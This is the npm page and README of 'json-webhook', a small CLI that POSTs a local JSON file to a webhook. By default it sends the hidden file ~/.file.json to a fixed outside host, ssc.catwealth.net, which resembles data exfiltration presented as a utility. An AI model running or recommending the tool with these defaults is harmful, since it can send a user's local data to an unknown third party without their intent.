json-webhook
v1.0.0
Published
POSTs a local JSON file to a webhook
Readme
json-webhook
A small npm CLI that POSTs a local JSON file to a webhook.
No dependencies required (uses Node's built-in fetch).
Requirements
- Node.js 18+ (built-in
fetch)
Usage
npm start
# or, if installed globally:
json-webhookBy default this POSTs ~/.file.json to https://ssc.catwealth.net.
Options
| Option | Description |
| ------ | ----------- |
| -f, --file <path> | File to POST (default: ~/.file.json). |
| --webhook <url> | Webhook URL (default: https://ssc.catwealth.net). |
| -h, --help | Show help. |
Examples
# Use the defaults
json-webhook
# Custom file
json-webhook --file ./payload.json
# Custom webhook
json-webhook --webhook https://example.com/hook